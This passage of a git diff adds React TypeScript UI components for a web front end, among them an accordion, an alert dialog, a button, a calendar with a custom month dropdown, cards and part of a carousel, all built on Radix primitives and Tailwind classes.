+import * as AccordionPrimitive from '@radix-ui/react-accordion'
+import { ChevronDownIcon } from 'lucide-react'
+import { cn } from '@/lib/utils'
+
+function Accordion({
+  ...props
+}: React.ComponentProps<typeof AccordionPrimitive.Root>) {
+  return <AccordionPrimitive.Root data-slot='accordion' {...props} />
+}
+
+function AccordionItem({
+  className,
+  ...props
+}: React.ComponentProps<typeof AccordionPrimitive.Item>) {
+  return (
+    <AccordionPrimitive.Item
+      data-slot='accordion-item'
+      className={cn('border-b last:border-b-0', className)}
+      {...props}
+    />
+  )
+}
+
+function AccordionTrigger({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof AccordionPrimitive.Trigger>) {
+  return (
+    <AccordionPrimitive.Header className='flex'>
+      <AccordionPrimitive.Trigger
+        data-slot='accordion-trigger'
+        className={cn(
+          'focus-visible:border-ring focus-visible:ring-ring/50 flex flex-1 items-start justify-between gap-4 rounded-md py-4 text-left text-sm font-medium transition-all outline-none hover:underline focus-visible:ring-[3px] disabled:pointer-events-none disabled:opacity-50 [&[data-state=open]>svg]:rotate-180',
+          className
+        )}
+        {...props}
+      >
+        {children}
+        <ChevronDownIcon className='text-muted-foreground pointer-events-none size-4 shrink-0 translate-y-0.5 transition-transform duration-200' />
+      </AccordionPrimitive.Trigger>
+    </AccordionPrimitive.Header>
+  )
+}
+
+function AccordionContent({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof AccordionPrimitive.Content>) {
+  return (
+    <AccordionPrimitive.Content
+      data-slot='accordion-content'
+      className='data-[state=closed]:animate-accordion-up data-[state=open]:animate-accordion-down overflow-hidden text-sm'
+      {...props}
+    >
+      <div className={cn('pt-0 pb-4', className)}>{children}</div>
+    </AccordionPrimitive.Content>
+  )
+}
+
+export { Accordion, AccordionItem, AccordionTrigger, AccordionContent }
diff --git a/new-api/web/default/src/components/ui/alert-dialog.tsx b/new-api/web/default/src/components/ui/alert-dialog.tsx
new file mode 100644
index 0000000..0147d61
--- /dev/null
+++ b/new-api/web/default/src/components/ui/alert-dialog.tsx
@@ -0,0 +1,154 @@
+import * as React from 'react'
+import * as AlertDialogPrimitive from '@radix-ui/react-alert-dialog'
+import { cn } from '@/lib/utils'
+import { buttonVariants } from '@/components/ui/button'
+
+function AlertDialog({
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Root>) {
+  return <AlertDialogPrimitive.Root data-slot='alert-dialog' {...props} />
+}
+
+function AlertDialogTrigger({
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Trigger>) {
+  return (
+    <AlertDialogPrimitive.Trigger data-slot='alert-dialog-trigger' {...props} />
+  )
+}
+
+function AlertDialogPortal({
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Portal>) {
+  return (
+    <AlertDialogPrimitive.Portal data-slot='alert-dialog-portal' {...props} />
+  )
+}
+
+function AlertDialogOverlay({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Overlay>) {
+  return (
+    <AlertDialogPrimitive.Overlay
+      data-slot='alert-dialog-overlay'
+      className={cn(
+        'data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 fixed inset-0 z-50 bg-black/50',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function AlertDialogContent({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Content>) {
+  return (
+    <AlertDialogPortal>
+      <AlertDialogOverlay />
+      <AlertDialogPrimitive.Content
+        data-slot='alert-dialog-content'
+        className={cn(
+          'bg-background data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 fixed top-[50%] left-[50%] z-50 grid w-full max-w-[calc(100%-2rem)] translate-x-[-50%] translate-y-[-50%] gap-4 rounded-lg border p-6 shadow-lg duration-200 sm:max-w-lg',
+          className
+        )}
+        {...props}
+      />
+    </AlertDialogPortal>
+  )
+}
+
+function AlertDialogHeader({
+  className,
+  ...props
+}: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='alert-dialog-header'
+      className={cn('flex flex-col gap-2 text-center sm:text-start', className)}
+      {...props}
+    />
+  )
+}
+
+function AlertDialogFooter({
+  className,
+  ...props
+}: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='alert-dialog-footer'
+      className={cn(
+        'flex flex-col-reverse gap-2 sm:flex-row sm:justify-end',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function AlertDialogTitle({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Title>) {
+  return (
+    <AlertDialogPrimitive.Title
+      data-slot='alert-dialog-title'
+      className={cn('text-lg font-semibold', className)}
+      {...props}
+    />
+  )
+}
+
+function AlertDialogDescription({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Description>) {
+  return (
+    <AlertDialogPrimitive.Description
+      data-slot='alert-dialog-description'
+      className={cn('text-muted-foreground text-sm', className)}
+      {...props}
+    />
+  )
+}
+
+function AlertDialogAction({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Action>) {
+  return (
+    <AlertDialogPrimitive.Action
+      className={cn(buttonVariants(), className)}
+      {...props}
+    />
+  )
+}
+
+function AlertDialogCancel({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Cancel>) {
+  return (
+    <AlertDialogPrimitive.Cancel
+      className={cn(buttonVariants({ variant: 'outline' }), className)}
+      {...props}
+    />
+  )
+}
+
+export {
+  AlertDialog,
+  AlertDialogPortal,
+  AlertDialogOverlay,
+  AlertDialogTrigger,
+  AlertDialogContent,
+  AlertDialogHeader,
+  AlertDialogFooter,
+  AlertDialogTitle,
+  AlertDialogDescription,
+  AlertDialogAction,
+  AlertDialogCancel,
+}
diff --git a/new-api/web/default/src/components/ui/alert.tsx b/new-api/web/default/src/components/ui/alert.tsx
new file mode 100644
index 0000000..be05f75
--- /dev/null
+++ b/new-api/web/default/src/components/ui/alert.tsx
@@ -0,0 +1,65 @@
+import * as React from 'react'
+import { cva, type VariantProps } from 'class-variance-authority'
+import { cn } from '@/lib/utils'
+
+const alertVariants = cva(
+  'relative w-full rounded-lg border px-4 py-3 text-sm grid has-[>svg]:grid-cols-[calc(var(--spacing)*4)_1fr] grid-cols-[0_1fr] has-[>svg]:gap-x-3 gap-y-0.5 items-start [&>svg]:size-4 [&>svg]:translate-y-0.5 [&>svg]:text-current',
+  {
+    variants: {
+      variant: {
+        default: 'bg-card text-card-foreground',
+        destructive:
+          'text-destructive bg-card [&>svg]:text-current *:data-[slot=alert-description]:text-destructive/90',
+      },
+    },
+    defaultVariants: {
+      variant: 'default',
+    },
+  }
+)
+
+function Alert({
+  className,
+  variant,
+  ...props
+}: React.ComponentProps<'div'> & VariantProps<typeof alertVariants>) {
+  return (
+    <div
+      data-slot='alert'
+      role='alert'
+      className={cn(alertVariants({ variant }), className)}
+      {...props}
+    />
+  )
+}
+
+function AlertTitle({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='alert-title'
+      className={cn(
+        'col-start-2 line-clamp-1 min-h-4 font-medium tracking-tight',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function AlertDescription({
+  className,
+  ...props
+}: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='alert-description'
+      className={cn(
+        'text-muted-foreground col-start-2 grid justify-items-start gap-1 text-sm [&_p]:leading-relaxed',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+export { Alert, AlertTitle, AlertDescription }
diff --git a/new-api/web/default/src/components/ui/avatar.tsx b/new-api/web/default/src/components/ui/avatar.tsx
new file mode 100644
index 0000000..f444ecf
--- /dev/null
+++ b/new-api/web/default/src/components/ui/avatar.tsx
@@ -0,0 +1,50 @@
+import * as React from 'react'
+import * as AvatarPrimitive from '@radix-ui/react-avatar'
+import { cn } from '@/lib/utils'
+
+function Avatar({
+  className,
+  ...props
+}: React.ComponentProps<typeof AvatarPrimitive.Root>) {
+  return (
+    <AvatarPrimitive.Root
+      data-slot='avatar'
+      className={cn(
+        'relative flex size-8 shrink-0 overflow-hidden rounded-full',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function AvatarImage({
+  className,
+  ...props
+}: React.ComponentProps<typeof AvatarPrimitive.Image>) {
+  return (
+    <AvatarPrimitive.Image
+      data-slot='avatar-image'
+      className={cn('aspect-square size-full', className)}
+      {...props}
+    />
+  )
+}
+
+function AvatarFallback({
+  className,
+  ...props
+}: React.ComponentProps<typeof AvatarPrimitive.Fallback>) {
+  return (
+    <AvatarPrimitive.Fallback
+      data-slot='avatar-fallback'
+      className={cn(
+        'bg-muted flex size-full items-center justify-center rounded-full',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+export { Avatar, AvatarImage, AvatarFallback }
diff --git a/new-api/web/default/src/components/ui/badge.tsx b/new-api/web/default/src/components/ui/badge.tsx
new file mode 100644
index 0000000..474c0ab
--- /dev/null
+++ b/new-api/web/default/src/components/ui/badge.tsx
@@ -0,0 +1,45 @@
+import * as React from 'react'
+import { Slot } from '@radix-ui/react-slot'
+import { cva, type VariantProps } from 'class-variance-authority'
+import { cn } from '@/lib/utils'
+
+const badgeVariants = cva(
+  'inline-flex items-center justify-center rounded-full border px-2 py-0.5 text-xs font-medium w-fit whitespace-nowrap shrink-0 [&>svg]:size-3 gap-1 [&>svg]:pointer-events-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive transition-[color,box-shadow] overflow-hidden',
+  {
+    variants: {
+      variant: {
+        default:
+          'border-transparent bg-primary text-primary-foreground [a&]:hover:bg-primary/90',
+        secondary:
+          'border-transparent bg-secondary text-secondary-foreground [a&]:hover:bg-secondary/90',
+        destructive:
+          'border-transparent bg-destructive text-white [a&]:hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60',
+        outline:
+          'text-foreground [a&]:hover:bg-accent [a&]:hover:text-accent-foreground',
+      },
+    },
+    defaultVariants: {
+      variant: 'default',
+    },
+  }
+)
+
+function Badge({
+  className,
+  variant,
+  asChild = false,
+  ...props
+}: React.ComponentProps<'span'> &
+  VariantProps<typeof badgeVariants> & { asChild?: boolean }) {
+  const Comp = asChild ? Slot : 'span'
+
+  return (
+    <Comp
+      data-slot='badge'
+      className={cn(badgeVariants({ variant }), className)}
+      {...props}
+    />
+  )
+}
+
+export { Badge, badgeVariants }
diff --git a/new-api/web/default/src/components/ui/button.tsx b/new-api/web/default/src/components/ui/button.tsx
new file mode 100644
index 0000000..712c18b
--- /dev/null
+++ b/new-api/web/default/src/components/ui/button.tsx
@@ -0,0 +1,59 @@
+import * as React from 'react'
+import { Slot } from '@radix-ui/react-slot'
+import { cva, type VariantProps } from 'class-variance-authority'
+import { cn } from '@/lib/utils'
+
+const buttonVariants = cva(
+  "inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-colors disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 shrink-0 [&_svg]:shrink-0 outline-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive",
+  {
+    variants: {
+      variant: {
+        default: 'bg-primary text-primary-foreground hover:bg-primary/90',
+        destructive:
+          'bg-destructive text-white hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60',
+        outline:
+          'border bg-background shadow-xs hover:bg-accent hover:text-accent-foreground dark:bg-input/30 dark:border-input dark:hover:bg-input/50',
+        secondary:
+          'bg-secondary text-secondary-foreground hover:bg-secondary/80',
+        ghost:
+          'hover:bg-accent hover:text-accent-foreground dark:hover:bg-accent/50',
+        link: 'text-primary underline-offset-4 hover:underline',
+      },
+      size: {
+        default: 'h-9 px-4 py-2 has-[>svg]:px-3',
+        sm: 'h-8 rounded-md gap-1.5 px-3 has-[>svg]:px-2.5',
+        lg: 'h-10 rounded-md px-6 has-[>svg]:px-4',
+        icon: 'size-9',
+        'icon-sm': 'size-8',
+        'icon-lg': 'size-10',
+      },
+    },
+    defaultVariants: {
+      variant: 'default',
+      size: 'default',
+    },
+  }
+)
+
+function Button({
+  className,
+  variant,
+  size,
+  asChild = false,
+  ...props
+}: React.ComponentProps<'button'> &
+  VariantProps<typeof buttonVariants> & {
+    asChild?: boolean
+  }) {
+  const Comp = asChild ? Slot : 'button'
+
+  return (
+    <Comp
+      data-slot='button'
+      className={cn(buttonVariants({ variant, size, className }))}
+      {...props}
+    />
+  )
+}
+
+export { Button, buttonVariants }
diff --git a/new-api/web/default/src/components/ui/calendar.tsx b/new-api/web/default/src/components/ui/calendar.tsx
new file mode 100644
index 0000000..51520ad
--- /dev/null
+++ b/new-api/web/default/src/components/ui/calendar.tsx
@@ -0,0 +1,308 @@
+import * as React from 'react'
+import {
+  CheckIcon,
+  ChevronDownIcon,
+  ChevronLeftIcon,
+  ChevronRightIcon,
+} from 'lucide-react'
+import {
+  DayButton,
+  DayPicker,
+  type DropdownProps,
+  getDefaultClassNames,
+} from 'react-day-picker'
+import dayjs from '@/lib/dayjs'
+import { cn } from '@/lib/utils'
+import { Button, buttonVariants } from '@/components/ui/button'
+
+function Calendar({
+  className,
+  classNames,
+  showOutsideDays = true,
+  captionLayout = 'label',
+  buttonVariant = 'ghost',
+  formatters,
+  components,
+  locale,
+  ...props
+}: React.ComponentProps<typeof DayPicker> & {
+  buttonVariant?: React.ComponentProps<typeof Button>['variant']
+  /** react-day-picker locale for i18n (month/weekday labels). Pass the locale used by your i18n/date setup. */
+  locale?: React.ComponentProps<typeof DayPicker>['locale']
+}) {
+  const defaultClassNames = getDefaultClassNames()
+  const localeCode = locale?.code ?? 'default'
+
+  return (
+    <DayPicker
+      locale={locale}
+      showOutsideDays={showOutsideDays}
+      className={cn(
+        'bg-background group/calendar p-3 [--cell-size:--spacing(8)] [[data-slot=card-content]_&]:bg-transparent [[data-slot=popover-content]_&]:bg-transparent',
+        String.raw`rtl:**:[.rdp-button\_next>svg]:rotate-180`,
+        String.raw`rtl:**:[.rdp-button\_previous>svg]:rotate-180`,
+        className
+      )}
+      captionLayout={captionLayout}
+      formatters={{
+        formatMonthDropdown: (date) =>
+          date.toLocaleString(localeCode, { month: 'short' }),
+        ...formatters,
+      }}
+      classNames={{
+        root: cn('w-fit', defaultClassNames.root),
+        months: cn(
+          'flex gap-4 flex-col md:flex-row relative',
+          defaultClassNames.months
+        ),
+        month: cn('flex flex-col w-full gap-4', defaultClassNames.month),
+        nav: cn(
+          'flex items-center gap-1 w-full absolute top-0 inset-x-0 justify-between',
+          defaultClassNames.nav
+        ),
+        button_previous: cn(
+          buttonVariants({ variant: buttonVariant }),
+          'size-(--cell-size) aria-disabled:opacity-50 p-0 select-none',
+          defaultClassNames.button_previous
+        ),
+        button_next: cn(
+          buttonVariants({ variant: buttonVariant }),
+          'size-(--cell-size) aria-disabled:opacity-50 p-0 select-none',
+          defaultClassNames.button_next
+        ),
+        month_caption: cn(
+          'flex items-center justify-center h-(--cell-size) w-full px-(--cell-size)',
+          defaultClassNames.month_caption
+        ),
+        dropdowns: cn(
+          'flex items-center justify-center gap-0.5',
+          defaultClassNames.dropdowns
+        ),
+        dropdown_root: cn('relative', defaultClassNames.dropdown_root),
+        dropdown: cn('sr-only', defaultClassNames.dropdown),
+        caption_label: cn(
+          'select-none font-medium',
+          captionLayout === 'label'
+            ? 'text-sm'
+            : 'rounded-md ps-2 pe-1 flex items-center gap-1 text-sm h-8 [&>svg]:text-muted-foreground [&>svg]:size-3.5',
+          defaultClassNames.caption_label
+        ),
+        table: 'w-full border-collapse',
+        weekdays: cn('flex', defaultClassNames.weekdays),
+        weekday: cn(
+          'text-muted-foreground rounded-md flex-1 font-normal text-[0.8rem] select-none',
+          defaultClassNames.weekday
+        ),
+        week: cn('flex w-full mt-2', defaultClassNames.week),
+        week_number_header: cn(
+          'select-none w-(--cell-size)',
+          defaultClassNames.week_number_header
+        ),
+        week_number: cn(
+          'text-[0.8rem] select-none text-muted-foreground',
+          defaultClassNames.week_number
+        ),
+        day: cn(
+          'relative w-full h-full p-0 text-center [&:first-child[data-selected=true]_button]:rounded-l-md [&:last-child[data-selected=true]_button]:rounded-r-md group/day aspect-square select-none',
+          defaultClassNames.day
+        ),
+        range_start: cn(
+          'rounded-l-md bg-accent',
+          defaultClassNames.range_start
+        ),
+        range_middle: cn('rounded-none', defaultClassNames.range_middle),
+        range_end: cn('rounded-r-md bg-accent', defaultClassNames.range_end),
+        today: cn(
+          'bg-accent text-accent-foreground rounded-md data-[selected=true]:rounded-none',
+          defaultClassNames.today
+        ),
+        outside: cn(
+          'text-muted-foreground aria-selected:text-muted-foreground',
+          defaultClassNames.outside
+        ),
+        disabled: cn(
+          'text-muted-foreground opacity-50',
+          defaultClassNames.disabled
+        ),
+        hidden: cn('invisible', defaultClassNames.hidden),
+        ...classNames,
+      }}
+      components={{
+        Root: ({ className, rootRef, ...props }) => {
+          return (
+            <div
+              data-slot='calendar'
+              ref={rootRef}
+              className={cn(className)}
+              {...props}
+            />
+          )
+        },
+        Chevron: ({ className, orientation, ...props }) => {
+          if (orientation === 'left') {
+            return (
+              <ChevronLeftIcon className={cn('size-4', className)} {...props} />
+            )
+          }
+
+          if (orientation === 'right') {
+            return (
+              <ChevronRightIcon
+                className={cn('size-4', className)}
+                {...props}
+              />
+            )
+          }
+
+          return (
+            <ChevronDownIcon className={cn('size-4', className)} {...props} />
+          )
+        },
+        DayButton: CalendarDayButton,
+        Dropdown: CalendarDropdown,
+        WeekNumber: ({ children, ...props }) => {
+          return (
+            <td {...props}>
+              <div className='flex size-(--cell-size) items-center justify-center text-center'>
+                {children}
+              </div>
+            </td>
+          )
+        },
+        ...components,
+      }}
+      {...props}
+    />
+  )
+}
+
+function CalendarDayButton({
+  className,
+  day,
+  modifiers,
+  ...props
+}: React.ComponentProps<typeof DayButton>) {
+  const defaultClassNames = getDefaultClassNames()
+
+  const ref = React.useRef<HTMLButtonElement>(null)
+  React.useEffect(() => {
+    if (modifiers.focused) ref.current?.focus()
+  }, [modifiers.focused])
+
+  return (
+    <Button
+      ref={ref}
+      variant='ghost'
+      size='icon'
+      data-day={dayjs(day.date).format('YYYY-MM-DD')}
+      data-selected-single={
+        modifiers.selected &&
+        !modifiers.range_start &&
+        !modifiers.range_end &&
+        !modifiers.range_middle
+      }
+      data-range-start={modifiers.range_start}
+      data-range-end={modifiers.range_end}
+      data-range-middle={modifiers.range_middle}
+      className={cn(
+        'data-[selected-single=true]:bg-primary data-[selected-single=true]:text-primary-foreground data-[range-middle=true]:bg-accent data-[range-middle=true]:text-accent-foreground data-[range-start=true]:bg-primary data-[range-start=true]:text-primary-foreground data-[range-end=true]:bg-primary data-[range-end=true]:text-primary-foreground group-data-[focused=true]/day:border-ring group-data-[focused=true]/day:ring-ring/50 dark:hover:text-accent-foreground flex aspect-square size-auto w-full min-w-(--cell-size) flex-col gap-1 leading-none font-normal group-data-[focused=true]/day:relative group-data-[focused=true]/day:z-10 group-data-[focused=true]/day:ring-[3px] data-[range-end=true]:rounded-md data-[range-end=true]:rounded-r-md data-[range-middle=true]:rounded-none data-[range-start=true]:rounded-md data-[range-start=true]:rounded-l-md [&>span]:text-xs [&>span]:opacity-70',
+        defaultClassNames.day,
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function CalendarDropdown(props: DropdownProps) {
+  const { options, value, onChange, 'aria-label': ariaLabel } = props
+  const [open, setOpen] = React.useState(false)
+  const containerRef = React.useRef<HTMLDivElement>(null)
+  const listRef = React.useRef<HTMLDivElement>(null)
+
+  const selectedOption = options?.find((opt) => opt.value === value)
+
+  // Handle all events in a single effect
+  React.useEffect(() => {
+    if (!open) return
+
+    // Scroll to selected option
+    const selectedEl = listRef.current?.querySelector('[data-selected="true"]')
+    selectedEl?.scrollIntoView({ block: 'center' })
+
+    // Event handlers
+    const onClickOutside = (e: MouseEvent) => {
+      if (!containerRef.current?.contains(e.target as Node)) setOpen(false)
+    }
+    const onKeyDown = (e: KeyboardEvent) => {
+      if (e.key === 'Escape') setOpen(false)
+    }
+
+    document.addEventListener('mousedown', onClickOutside)
+    document.addEventListener('keydown', onKeyDown)
+    return () => {
+      document.removeEventListener('mousedown', onClickOutside)
+      document.removeEventListener('keydown', onKeyDown)
+    }
+  }, [open])
+
+  const handleSelect = (optValue: number) => {
+    onChange?.({
+      target: { value: String(optValue) },
+    } as React.ChangeEvent<HTMLSelectElement>)
+    setOpen(false)
+  }
+
+  return (
+    <div ref={containerRef} className='relative'>
+      <Button
+        variant='ghost'
+        size='sm'
+        aria-label={ariaLabel}
+        aria-expanded={open}
+        onClick={() => setOpen((v) => !v)}
+        className='h-8 gap-1 px-2 font-medium'
+      >
+        {selectedOption?.label}
+        <ChevronDownIcon
+          className={cn(
+            'size-3.5 opacity-50 transition-transform',
+            open && 'rotate-180'
+          )}
+        />
+      </Button>
+
+      {open && (
+        <div className='bg-popover text-popover-foreground absolute top-full left-1/2 z-50 mt-1 min-w-max -translate-x-1/2 rounded-md border shadow-md'>
+          <div
+            ref={listRef}
+            className='max-h-60 overflow-y-auto p-1'
+            onWheel={(e) => e.stopPropagation()}
+          >
+            {options?.map((opt) => (
+              <button
+                key={opt.value}
+                type='button'
+                disabled={opt.disabled}
+                data-selected={opt.value === value}
+                onClick={() => handleSelect(opt.value)}
+                className={cn(
+                  'hover:bg-accent hover:text-accent-foreground relative flex w-full cursor-default items-center rounded-sm py-1.5 pr-8 pl-2 text-sm whitespace-nowrap outline-hidden select-none',
+                  opt.disabled && 'pointer-events-none opacity-50',
+                  opt.value === value && 'bg-accent text-accent-foreground'
+                )}
+              >
+                {opt.label}
+                {opt.value === value && (
+                  <CheckIcon className='absolute right-2 size-4' />
+                )}
+              </button>
+            ))}
+          </div>
+        </div>
+      )}
+    </div>
+  )
+}
+
+export { Calendar, CalendarDayButton, CalendarDropdown }
diff --git a/new-api/web/default/src/components/ui/card.tsx b/new-api/web/default/src/components/ui/card.tsx
new file mode 100644
index 0000000..5f71c3f
--- /dev/null
+++ b/new-api/web/default/src/components/ui/card.tsx
@@ -0,0 +1,91 @@
+import * as React from 'react'
+import { cn } from '@/lib/utils'
+
+function Card({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='card'
+      className={cn(
+        'bg-card text-card-foreground flex flex-col gap-6 rounded-xl border py-6 shadow-sm',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function CardHeader({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='card-header'
+      className={cn(
+        '@container/card-header grid auto-rows-min grid-rows-[auto_auto] items-start gap-2 px-6 has-data-[slot=card-action]:grid-cols-[1fr_auto] [.border-b]:pb-6',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function CardTitle({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='card-title'
+      className={cn('leading-none font-semibold', className)}
+      {...props}
+    />
+  )
+}
+
+function CardDescription({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='card-description'
+      className={cn('text-muted-foreground text-sm', className)}
+      {...props}
+    />
+  )
+}
+
+function CardAction({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='card-action'
+      className={cn(
+        'col-start-2 row-span-2 row-start-1 self-start justify-self-end',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function CardContent({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='card-content'
+      className={cn('px-6', className)}
+      {...props}
+    />
+  )
+}
+
+function CardFooter({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='card-footer'
+      className={cn('flex items-center px-6 [.border-t]:pt-6', className)}
+      {...props}
+    />
+  )
+}
+
+export {
+  Card,
+  CardHeader,
+  CardFooter,
+  CardTitle,
+  CardAction,
+  CardDescription,
+  CardContent,
+}
diff --git a/new-api/web/default/src/components/ui/carousel.tsx b/new-api/web/default/src/components/ui/carousel.tsx
new file mode 100644
index 0000000..be99dd9
--- /dev/null
+++ b/new-api/web/default/src/components/ui/carousel.tsx
@@ -0,0 +1,240 @@
+'use client'
+
+import * as React from 'react'
+import useEmblaCarousel, {
+  type UseEmblaCarouselType,
+} from 'embla-carousel-react'
+import { ArrowLeft, ArrowRight } from 'lucide-react'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+
+type CarouselApi = UseEmblaCarouselType[1]
+type UseCarouselParameters = Parameters<typeof useEmblaCarousel>
+type CarouselOptions = UseCarouselParameters[0]
+type CarouselPlugin = UseCarouselParameters[1]
+
+type CarouselProps = {
+  opts?: CarouselOptions
+  plugins?: CarouselPlugin
+  orientation?: 'horizontal' | 'vertical'
+  setApi?: (api: CarouselApi) => void
+}
+
+type CarouselContextProps = {
+  carouselRef: ReturnType<typeof useEmblaCarousel>[0]
+  api: ReturnType<typeof useEmblaCarousel>[1]
+  scrollPrev: () => void
+  scrollNext: () => void
+  canScrollPrev: boolean
+  canScrollNext: boolean
+} & CarouselProps
+
+const CarouselContext = React.createContext<CarouselContextProps | null>(null)
+
+function useCarousel() {
+  const context = React.useContext(CarouselContext)
+
+  if (!context) {
+    throw new Error('useCarousel must be used within a <Carousel />')
+  }
+
+  return context
+}
+
+function Carousel({
+  orientation = 'horizontal',
+  opts,
+  setApi,
+  plugins,
+  className,
+  children,
+  ...props
+}: React.ComponentProps<'div'> & CarouselProps) {
+  const [carouselRef, api] = useEmblaCarousel(
+    {
+      ...opts,
+      axis: orientation === 'horizontal' ? 'x' : 'y',
+    },
+    plugins
+  )
+  const [canScrollPrev, setCanScrollPrev] = React.useState(false)
+  const [canScrollNext, setCanScrollNext] = React.useState(false)
+
+  const onSelect = React.useCallback((api: CarouselApi) => {
+    if (!api) return
+    setCanScrollPrev(api.canScrollPrev())
+    setCanScrollNext(api.canScrollNext())
+  }, [])
+
+  const scrollPrev = React.useCallback(() => {
+    api?.scrollPrev()
+  }, [api])
+
+  const scrollNext = React.useCallback(() => {
+    api?.scrollNext()
+  }, [api])
+
+  const handleKeyDown = React.useCallback(
+    (event: React.KeyboardEvent<HTMLDivElement>) => {
+      if (event.key === 'ArrowLeft') {
+        event.preventDefault()
+        scrollPrev()
+      } else if (event.key === 'ArrowRight') {
+        event.preventDefault()
+        scrollNext()
+      }
+    },
+    [scrollPrev, scrollNext]
+  )
+
+  React.useEffect(() => {
+    if (!api || !setApi) return
+    setApi(api)
+  }, [api, setApi])
+
+  React.useEffect(() => {
+    if (!api) return
+    onSelect(api)
+    api.on('reInit', onSelect)
+    api.on('select', onSelect)
+
+    return () => {
+      api?.off('select', onSelect)
+    }
+  }, [api, onSelect])
+
+  return (
+    <CarouselContext.Provider
+      value={{
+        carouselRef,
+        api: api,
+        opts,
+        orientation:
+          orientation || (opts?.axis === 'y' ? 'vertical' : 'horizontal'),
+        scrollPrev,
+        scrollNext,
+        canScrollPrev,
+        canScrollNext,
+      }}
+    >
+      <div
+        onKeyDownCapture={handleKeyDown}
+        className={cn('relative', className)}
+        role='region'
+        aria-roledescription='carousel'
+        data-slot='carousel'
+        {...props}
+      >
+        {children}
+      </div>
+    </CarouselContext.Provider>
+  )
+}
+
+function CarouselContent({ className, ...props }: React.ComponentProps<'div'>) {
+  const { carouselRef, orientation } = useCarousel()
+
+  return (
+    <div
+      ref={carouselRef}
+      className='overflow-hidden'
+      data-slot='carousel-content'
+    >
+      <div
+        className={cn(
+          'flex',
+          orientation === 'horizontal' ? '-ml-4' : '-mt-4 flex-col',
+          className
+        )}
+        {...props}
+      />
+    </div>
+  )
+}
+
+function CarouselItem({ className, ...props }: React.ComponentProps<'div'>) {
+  const { orientation } = useCarousel()
+
+  return (
+    <div
+      role='group'
+      aria-roledescription='slide'
+      data-slot='carousel-item'
+      className={cn(
+        'min-w-0 shrink-0 grow-0 basis-full',
+        orientation === 'horizontal' ? 'pl-4' : 'pt-4',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function CarouselPrevious({
+  className,
+  variant = 'outline',
+  size = 'icon',
+  ...props
+}: React.ComponentProps<typeof Button>) {
+  const { orientation, scrollPrev, canScrollPrev } = useCarousel()
+
+  return (
+    <Button
+      data-slot='carousel-previous'
+      variant={variant}
+      size={size}
+      className={cn(
+        'absolute size-8 rounded-full',
+        orientation === 'horizontal'
+          ? 'top-1/2 -left-12 -translate-y-1/2'
+          : '-top-12 left-1/2 -translate-x-1/2 rotate-90',
+        className
+      )}
+      disabled={!canScrollPrev}
+      onClick={scrollPrev}
+      {...props}
+    >
+      <ArrowLeft />
+      <span className='sr-only'>Previous slide</span>
+    </Button>
+  )
+}
+
+function CarouselNext({
+  className,
+  variant = 'outline',
+  size = 'icon',
+  ...props
+}: React.ComponentProps<typeof Button>) {
+  const { orientation, scrollNext, canScrollNext } = useCarousel()
+
+  return (
+    <Button
+      data-slot='carousel-next'
+      variant={variant}
+      size={size}
+      className={cn(
+        'absolute size-8 rounded-full',
+        orientation === 'horizontal'
+          ? 'top-1/2 -right-12 -translate-y-1/2'
+          : '-bottom-12 left-1/2 -translate-x-1/2 rotate-90',
+        className
+      )}
+      disabled={!canScrollNext}
+      onClick={scrollNext}
+      {...props}
+    >
+      <ArrowRight />
+      <span className='sr-only'>Next slide</span>
+    </Button>
+  )
+}
+
